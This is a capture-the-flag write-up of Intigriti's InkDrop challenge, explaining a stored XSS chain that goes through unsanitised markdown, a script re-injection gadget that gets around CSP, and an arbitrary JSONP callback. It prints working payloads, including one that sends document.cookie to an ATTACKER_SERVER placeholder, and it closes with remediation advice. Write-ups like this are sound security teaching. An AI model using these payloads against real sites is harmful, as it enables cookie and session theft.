Skip to content

Intigriti 02-26: InkDrop

TL;DR

  • "Markdown" is rendered with no sanitisation, so raw HTML is stored.
  • Post content is inserted into the DOM using innerHTML.
  • A client-side gadget re-injects any <script src="/api/..."> tags, bypassing CSP.
  • /api/jsonp allows arbitrary callback execution (no meaningful validation).
  • XSS runs in the bot context and exfiltrates the flag cookie to an attacker server.

Challenge Description

Find the FLAG and win Intigriti swag! 🏆

Useful Resources

Solution

In this writeup, we'll review the latest Intigriti Monthly challenge, created by d3dn0v4 💜

Follow me on Twitter and LinkedIn (and everywhere else 🔪) for more hacking content! 🥰

Recon

It's a small web app where you can create posts (markdown-ish) and report them to a moderator (👀).

Even though source is provided, I still like to poke the UI first to see what actually renders where, and explore the intended functionality.

Site Functionality

InkDrop is a basic notes / blog style app:

  • Register and login.
  • Create a post with "Markdown supported".
  • View the post.
  • Report the post to a moderator.

Create a new post page

When viewing a post containing simple markdown, the content appears as expected.

Viewing a post with rendered markdown

However, if we open DevTools and look at the Network tab, we notice something interesting.

Network tab showing /api/render response

The endpoint returns JSON containing a field called html, which includes the rendered post content.

{ "author": "cat", "html": "<p><a href=\"https://cryptocat.me\">cat</a></p>", "id": 957, "rendered_at": 1771616646.597164, "title": "meow" }

So the rendering is happening via an API call rather than being embedded directly in the initial HTML response.

Source Code Review

The challenge comes with source code, so let's go straight for anything involving rendering and bots.

Bot behaviour

In bot.py, the bot:

  • logs in as admin
  • sets a flag cookie (not HttpOnly 🙏)
  • visits /post/<id> for the reported post
context.add_cookies([{
    'name': 'flag',
    'value': FLAG,
    'domain': 'nginx',
    'path': '/',
    'httpOnly': False,
    'secure': False,
    'sameSite': 'Lax'
}])
Rendering pipeline

The backend "markdown renderer" is not a renderer. It's a series of regex replacements and then a <p> wrapper:

def render_markdown(content):
    html_content = content
    html_content = re.sub(r'^### (.+)$', r'<h3>\1</h3>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^## (.+)$', r'<h2>\1</h2>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'^# (.+)$', r'<h1>\1</h1>', html_content, flags=re.MULTILINE)
    html_content = re.sub(r'\*\*(.+?)\*\*', r'<strong>\1</strong>', html_content)
    html_content = re.sub(r'\*(.+?)\*', r'<em>\1</em>', html_content)
    html_content = re.sub(r'\[(.+?)\]\((.+?)\)', r'<a href="\2">\1</a>', html_content)
    html_content = html_content.replace('\n\n', '</p><p>')
    html_content = f'<p>{html_content}</p>'
    return html_content

No escaping, no sanitisation 😈

The rendered HTML is returned via:

@app.route('/api/render')
def api_render():
    rendered_html = render_markdown(post.content)
    return jsonify({ 'html': rendered_html, ... })

So our raw HTML ends up inside JSON, which is then rendered by the frontend.

CSP

The post_view template sets CSP:

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src * data:; connect-src *;" />
  • inline scripts are blocked
  • inline event handlers are blocked
  • only same-origin scripts are allowed
DOM injection and gadget

The post_view page also loads /static/js/preview.js which does:

preview.innerHTML = data.html;
processContent(preview);

function processContent(container) {
    const scripts = container.querySelectorAll("script");
    scripts.forEach(function (script) {
        if (script.src && script.src.includes("/api/")) {
            const newScript = document.createElement("script");
            newScript.src = script.src;
            document.body.appendChild(newScript);
        }
    });
}
  • Our HTML is inserted using innerHTML.
  • Scripts inserted via innerHTML do not execute by default.
  • The developer then re-injects scripts manually, which does execute them.
  • The only restriction is that script.src must include /api/.

So our payload needs to be a <script src="/api/...">.

JSONP execution

There is a JSONP endpoint in app.py:

@app.route('/api/jsonp')
def api_jsonp():
    callback = request.args.get('callback', 'handleData')

    if '<' in callback or '>' in callback:
        callback = 'handleData'

    response = f"{callback}({json.dumps(user_data)})"
    return Response(response, mimetype='application/javascript')
  • only blocks literal < and >
  • allows arbitrary JS expressions as "callback"
  • returns valid JavaScript which will run as a same-origin script

So the exploit chain is:

  1. Store <script src="/api/jsonp?callback=..."></script> in post content.
  2. /api/render returns it as HTML.
  3. preview.js re-injects it as a real <script> element.
  4. The JSONP response executes our callback.
  5. Callback reads document.cookie and exfiltrates it.

Exploit

Create a post with:

<script src="/api/jsonp?callback=alert('meow')//"></script>

If we view the post, we'll get an alert. CSP is effectively bypassed by the preview.js gadget.

Alert proof via JSONP

PoC

We want to send the cookie to an attacker-controlled server, e.g.

<script src="/api/jsonp?callback=fetch(
    'https://ATTACKER_SERVER/?c='
    .concat(encodeURIComponent(document.cookie)))//"></script>

We use encodeURIComponent() so special characters in the cookie do not corrupt the attacker request.

When the bot visits the post, the request to the attacker server includes the cookie (flag).

Webhook request containing flag cookie

Flag: INTIGRITI{019c668f-bf9f-70e8-b793-80ee7f86e00b} 🚩

Remediation

  • Do not "render markdown" with regex. Use a real markdown parser and sanitise output (allowlist).
  • Do not set HTML directly with innerHTML unless it is sanitised.
  • Remove the script reinjection gadget entirely.
  • Remove JSONP, or hardcode callback names and refuse arbitrary expressions.
  • Set the flag cookie as HttpOnly so JS cannot read it.

Summary (TLDR)

InkDrop stores user-controlled "markdown" and returns it as HTML via /api/render without sanitisation. The frontend inserts that HTML using innerHTML, and then helpfully re-executes any <script> tags pointing at /api/*, effectively bypassing CSP. Since /api/jsonp allows arbitrary callback execution, we can run JavaScript in the moderator bot context and leak document.cookie, which includes the non-HttpOnly flag cookie 😺